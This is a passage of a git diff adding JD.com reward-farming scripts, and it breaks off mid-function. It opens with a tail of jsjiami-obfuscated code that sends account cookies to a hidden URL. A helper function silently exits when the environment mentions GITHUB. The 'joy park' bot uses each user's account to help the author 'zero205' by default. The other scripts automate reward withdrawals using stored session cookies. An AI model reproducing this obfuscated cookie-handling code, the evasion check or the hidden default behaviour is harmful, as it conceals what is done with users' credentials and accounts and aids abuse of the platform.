_0x22ebe4={'\x75\x72\x6c':_0x13b906[_0x54c9('‮1c9','\x61\x37\x56\x66')],'\x68\x65\x61\x64\x65\x72\x73':{'Host':_0x13b906[_0x54c9('‫1ca','\x47\x74\x39\x36')],'Accept':_0x13b906[_0x54c9('‮1cb','\x31\x48\x5d\x70')],'Connection':_0x13b906[_0x54c9('‫1cc','\x64\x23\x6a\x64')],'Cookie':cookie,'User-Agent':_0x13b906[_0x54c9('‮1cd','\x67\x29\x4e\x54')],'Accept-Language':_0x13b906[_0x54c9('‫1ce','\x43\x57\x78\x64')],'Referer':_0x13b906[_0x54c9('‮1cf','\x78\x6f\x46\x38')],'Accept-Encoding':_0x13b906[_0x54c9('‮1d0','\x28\x59\x5d\x41')]}};return new Promise(_0x4ce2c0=>{var _0x32a0dd={'\x57\x76\x47\x5a\x4b':function(_0x525209){return _0x13b906[_0x54c9('‮1d1','\x53\x6a\x43\x69')](_0x525209);}};if(_0x13b906[_0x54c9('‮1d2','\x67\x29\x4e\x54')](_0x13b906[_0x54c9('‮1d3','\x74\x69\x36\x6a')],_0x13b906[_0x54c9('‫1d4','\x53\x66\x25\x25')])){$[_0x54c9('‮1d5','\x43\x57\x78\x64')](_0x22ebe4,(_0x59e96a,_0xba6af4,_0x52dd2c)=>{if(_0x13b906[_0x54c9('‮1d6','\x32\x65\x4f\x28')](_0x13b906[_0x54c9('‫1d7','\x79\x38\x44\x42')],_0x13b906[_0x54c9('‫1d8','\x64\x23\x6a\x64')])){try{if(_0x59e96a){$[_0x54c9('‮1d9','\x79\x38\x44\x42')](_0x59e96a);}else{if(_0x52dd2c){_0x52dd2c=JSON[_0x54c9('‫ff','\x62\x4b\x6a\x6f')](_0x52dd2c);if(_0x13b906[_0x54c9('‮1da','\x67\x29\x4e\x54')](_0x52dd2c[_0x54c9('‮1db','\x28\x71\x32\x57')],_0x13b906[_0x54c9('‮1dc','\x31\x29\x5e\x66')])){if(_0x13b906[_0x54c9('‫1dd','\x53\x6a\x43\x69')](_0x13b906[_0x54c9('‮1de','\x44\x55\x69\x76')],_0x13b906[_0x54c9('‫1df','\x49\x39\x25\x79')])){$[_0x54c9('‫1e0','\x4a\x77\x77\x50')]=![];return;}else{$[_0x54c9('‫1e1','\x61\x37\x56\x66')]=_0x52dd2c[_0x54c9('‮1e2','\x57\x37\x72\x28')][_0x54c9('‮1e3','\x76\x70\x41\x76')][_0x54c9('‮1e4','\x59\x46\x35\x4f')][_0x54c9('‮1e5','\x32\x69\x45\x63')];}}if(_0x13b906[_0x54c9('‫1e6','\x63\x71\x67\x78')](_0x52dd2c[_0x54c9('‮1e7','\x77\x71\x31\x78')],'\x30')&&_0x52dd2c[_0x54c9('‮1e8','\x42\x6f\x25\x77')][_0x54c9('‫1e9','\x57\x37\x72\x28')](_0x13b906[_0x54c9('‫1ea','\x62\x4b\x6a\x6f')])){$[_0x54c9('‫1eb','\x62\x4b\x6a\x6f')]=_0x52dd2c[_0x54c9('‫1ec','\x77\x71\x31\x78')][_0x54c9('‫1ed','\x42\x6f\x25\x77')][_0x54c9('‫1ee','\x53\x2a\x58\x74')][_0x54c9('‫1ef','\x65\x25\x50\x31')];}}else{$[_0x54c9('‫1e','\x25\x66\x23\x57')](_0x13b906[_0x54c9('‮1f0','\x79\x38\x44\x42')]);}}}catch(_0x391ea8){if(_0x13b906[_0x54c9('‫1f1','\x78\x6f\x46\x38')](_0x13b906[_0x54c9('‮1f2','\x76\x50\x40\x7a')],_0x13b906[_0x54c9('‮1f3','\x62\x21\x74\x4d')])){$[_0x54c9('‮1f4','\x4b\x75\x38\x43')](_0x391ea8);}else{$[_0x54c9('‫1f5','\x71\x4c\x75\x53')](_0x59e96a);}}finally{_0x13b906[_0x54c9('‮1f6','\x57\x37\x72\x28')](_0x4ce2c0);}}else{$[_0x54c9('‮1f7','\x74\x69\x36\x6a')](error);}});}else{_0x32a0dd[_0x54c9('‫1f8','\x78\x6f\x46\x38')](_0x4ce2c0);}});};_0xodU='jsjiami.com.v6'; +// prettier-ignore +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_joy_joy_reward.ts b/jd_joy_joy_reward.ts new file mode 100644 index 0000000..05c44ac --- /dev/null +++ b/jd_joy_joy_reward.ts @@ -0,0 +1,87 @@ +/** +汪汪乐园-提现 +3 0 0 * * 5 jd_joy_joy_reward.ts +new Env('汪汪赛跑提现') + +**/ + +import {get, post, o2s, requireConfig, wait} from './function/TS_USER_AGENTS' +import {H5ST} from "./function/h5st" + +let cookie: string = '', res: any = '', UserName: string = '', fp_448de: string = '' || process.env.FP_448DE, fp_b6ac3: string = '' || process.env.FP_B6AC3 +let h5stTool: H5ST = null + +!(async () => { + let cookiesArr: string[] = await requireConfig() + for (let [index, value] of cookiesArr.entries()) { + cookie = value + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + console.log(`\n开始【京东账号${index + 1}】${UserName}\n`) + let rewardAmount: number = 0 + try { + h5stTool = new H5ST('448de', 'jdltapp;', fp_448de) + await h5stTool.__genAlgo() + res = await team('runningMyPrize', {"linkId": "L-sOanK_5RJCz7I314FpnQ", "pageSize": 20, "time": null, "ids": null}) + rewardAmount = res.data.rewardAmount + if (res.data.runningCashStatus.currentEndTime && res.data.runningCashStatus.status === 0) { + console.log('可提现', rewardAmount) + res = await api('runningPrizeDraw', {"linkId": "L-sOanK_5RJCz7I314FpnQ", "type": 2}) + await wait(2000) + if (res.success){ + console.log(res.data.message) + } else { + console.log('提现失败:', res.errMsg) + } + }else{ + console.log('还未到提现时间') + } + } catch (e) { + console.log('Error', e) + await wait(1000) + } + } +})() + +async function api(fn: string, body: object) { + let timestamp: number = Date.now(), h5st: string = '' + if (fn === 'runningOpenBox') { + h5st = h5stTool.__genH5st({ + appid: "activities_platform", + body: JSON.stringify(body), + client: "ios", + clientVersion: "3.1.0", + functionId: "runningOpenBox", + t: timestamp.toString() + }) + } + let params: string = `functionId=${fn}&body=${JSON.stringify(body)}&t=${timestamp}&appid=activities_platform&client=ios&clientVersion=3.1.0&cthr=1` + h5st && (params += `&h5st=${h5st}`) + return await post('https://api.m.jd.com/', params, { + 'authority': 'api.m.jd.com', + 'content-type': 'application/x-www-form-urlencoded', + 'cookie': cookie, + 'origin': 'https://h5platform.jd.com', + 'referer': 'https://h5platform.jd.com/', + 'user-agent': 'jdltapp;' + }) +} + +async function team(fn: string, body: object) { + let timestamp: number = Date.now(), h5st: string + h5st = h5stTool.__genH5st({ + appid: "activities_platform", + body: JSON.stringify(body), + client: "ios", + clientVersion: "3.1.0", + functionId: fn, + t: timestamp.toString() + }) + return await get(`https://api.m.jd.com/?functionId=${fn}&body=${encodeURIComponent(JSON.stringify(body))}&t=${timestamp}&appid=activities_platform&client=ios&clientVersion=3.1.0&cthr=1&h5st=${h5st}`, { + 'Host': 'api.m.jd.com', + 'User-Agent': 'jdltapp;', + 'Origin': 'https://h5platform.jd.com', + 'X-Requested-With': 'com.jd.jdlite', + 'Referer': 'https://h5platform.jd.com/', + 'Cookie': cookie + }) +} diff --git a/jd_joy_park.js b/jd_joy_park.js new file mode 100644 index 0000000..8b20ee4 --- /dev/null +++ b/jd_joy_park.js @@ -0,0 +1,610 @@ +/* +ENV + +JOY_COIN_MAXIMIZE = 最大化硬币收益,如果合成后全部挖土后还有空位,则开启此模式(默认开启) 0关闭 1开启 + +请确保新用户助力过开工位,否则开启游戏了就不算新用户,后面就不能助力开工位了!!!!!!!!!! + +脚本会默认帮zero205助力开工位,如需关闭请添加变量,变量名:HELP_JOYPARK,变量值:false + +更新地址:https://github.com/Tsukasa007/my_script + +============Quantumultx=============== +[task_local] +#汪汪乐园养joy +20 0-23/3 * * * jd_joypark_joy.js, tag=汪汪乐园养joy, img-url=https://raw.githubusercontent.com/tsukasa007/icon/master/jd_joypark_joy.png, enabled=true + +================Loon============== +[Script] +cron "20 0-23/3 * * *" script-path=jd_joypark_joy.js,tag=汪汪乐园养joy + +===============Surge================= +汪汪乐园养joy = type=cron,cronexp="20 0-23/3 * * *",wake-system=1,timeout=3600,script-path=jd_joypark_joy.js + +============小火箭========= +汪汪乐园养joy = type=cron,script-path=jd_joypark_joy.js, cronexpr="20 0-23/3 * * *", timeout=3600, enable=true +*/ +const $ = new Env('汪汪乐园养joy'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let hot_flag = false +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +//最大化硬币收益模式 +$.JOY_COIN_MAXIMIZE = process.env.JOY_COIN_MAXIMIZE === '1' +$.log(`最大化收益模式: 已${$.JOY_COIN_MAXIMIZE ? `默认开启` : `关闭`} `) + +const JD_API_HOST = `https://api.m.jd.com/client.action`; +message = "" +!(async () => { + $.user_agent = require('./USER_AGENTS').USER_AGENT + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + if (process.env.JD_JOY_PARK && process.env.JD_JOY_PARK === 'false') { + console.log(`\n******检测到您设置了不运行汪汪乐园,停止运行此脚本******\n`) + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + //$.wait(50) + // if (process.env.JOYPARK_JOY_START && i == process.env.JOYPARK_JOY_START){ + // console.log(`\n汪汪乐园养joy 只运行 ${process.env.JOYPARK_JOY_START} 个Cookie\n`); + // break + // } + hot_flag = false + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.maxJoyCount = 10 + await TotalBean(); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if ($.isNode()) { + if (process.env.HELP_JOYPARK && process.env.HELP_JOYPARK == "false") { + } else { + await getShareCode() + if ($.kgw_invitePin && $.kgw_invitePin.length) { + $.log("开始帮【zero205】助力开工位\n"); + $.kgw_invitePin = [...($.kgw_invitePin || [])][Math.floor((Math.random() * $.kgw_invitePin.length))]; + let resp = await getJoyBaseInfo(undefined, 2, $.kgw_invitePin); + if (resp.helpState && resp.helpState === 1) { + $.log("帮【zero205】开工位成功,感谢!\n"); + } else if (resp.helpState && resp.helpState === 3) { + $.log("你不是新用户!跳过开工位助力\n"); + } else if (resp.helpState && resp.helpState === 2) { + $.log(`他的工位已全部开完啦!\n`); + } else { + $.log("开工位失败!\n"); + console.log(`${JSON.stringify(resp)}`) + } + } + } + } + //下地后还有有钱买Joy并且买了Joy + $.hasJoyCoin = true + await getJoyBaseInfo(undefined, undefined, undefined, true); + $.activityJoyList = [] + $.workJoyInfoList = [] + await getJoyList(true); + await getGameShopList() + //清理工位 + await doJoyMoveDownAll($.workJoyInfoList) + //从低合到高 + await doJoyMergeAll($.activityJoyList) + await getGameMyPrize() + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + + +async function getJoyBaseInfo(taskId = '', inviteType = '', inviterPin = '', printLog = false) { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"taskId":"${taskId}","inviteType":"${inviteType}","inviterPin":"${inviterPin}","linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `joyBaseInfo`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getJoyBaseInfo API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (printLog) { + $.log(`等级: ${data.data.level}|金币: ${data.data.joyCoin}`); + if (data.data.level >= 30 && $.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName || $.UserName}\n当前等级: ${data.data.level}\n已达到单次最高等级奖励\n请前往京东极速版APP查看使用优惠券\n活动入口:京东极速版APP->我的->汪汪乐园`); + $.log(`\n开始解锁新场景...\n`); + await doJoyRestart() + } + } + $.joyBaseInfo = data.data + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve($.joyBaseInfo); + } + }) + }) +} + +function getJoyList(printLog = false) { + //await $.wait(20) + return new Promise(resolve => { + $.get(taskGetClientActionUrl(`appid=activities_platform&body={"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}`, `joyList`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (printLog) { + $.log(`\n===== 【京东账号${$.index}】${$.nickName || $.UserName} joy 状态 start =====`) + $.log("在逛街的joy⬇️⬇️⬇️⬇️⬇️⬇️⬇️⬇️") + for (let i = 0; i < data.data.activityJoyList.length; i++) { + //$.wait(50); + $.log(`id:${data.data.activityJoyList[i].id}|name: ${data.data.activityJoyList[i].name}|level: ${data.data.activityJoyList[i].level}`); + if (data.data.activityJoyList[i].level >= 30 && $.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName || $.UserName}\n当前等级: ${data.data.level}\n已达到单次最高等级奖励\n请尽快前往活动查看领取\n活动入口:京东极速版APP->汪汪乐园\n更多脚本->"https://github.com/zero205/JD_tencent_scf"`); + $.log(`\n开始解锁新场景...\n`); + await doJoyRestart() + } + } + $.log("\n在铲土的joy⬇️⬇️⬇️⬇️⬇️⬇️⬇️⬇️") + for (let i = 0; i < data.data.workJoyInfoList.length; i++) { + //$.wait(50) + $.log(`工位: ${data.data.workJoyInfoList[i].location} [${data.data.workJoyInfoList[i].unlock ? `已开` : `未开`}]|joy= ${data.data.workJoyInfoList[i].joyDTO ? `id:${data.data.workJoyInfoList[i].joyDTO.id}|name: ${data.data.workJoyInfoList[i].joyDTO.name}|level: ${data.data.workJoyInfoList[i].joyDTO.level}` : `毛都没有`}`) + } + $.log(`===== 【京东账号${$.index}】${$.nickName || $.UserName} joy 状态 end =====\n`) + } + $.activityJoyList = data.data.activityJoyList + $.workJoyInfoList = data.data.workJoyInfoList + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} + +function getGameShopList() { + //await $.wait(20) + return new Promise(resolve => { + $.get(taskGetClientActionUrl(`appid=activities_platform&body={"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}`, `gameShopList`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + //排除不能购买的 + data = JSON.parse(data).data.filter(row => row.shopStatus === 1); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function doJoyMoveUpAll(activityJoyList, workJoyInfoList) { + let workJoyInfoUnlockList = workJoyInfoList.filter(row => row.unlock && row.joyDTO === null) + if (activityJoyList.length !== 0 && workJoyInfoUnlockList.length !== 0) 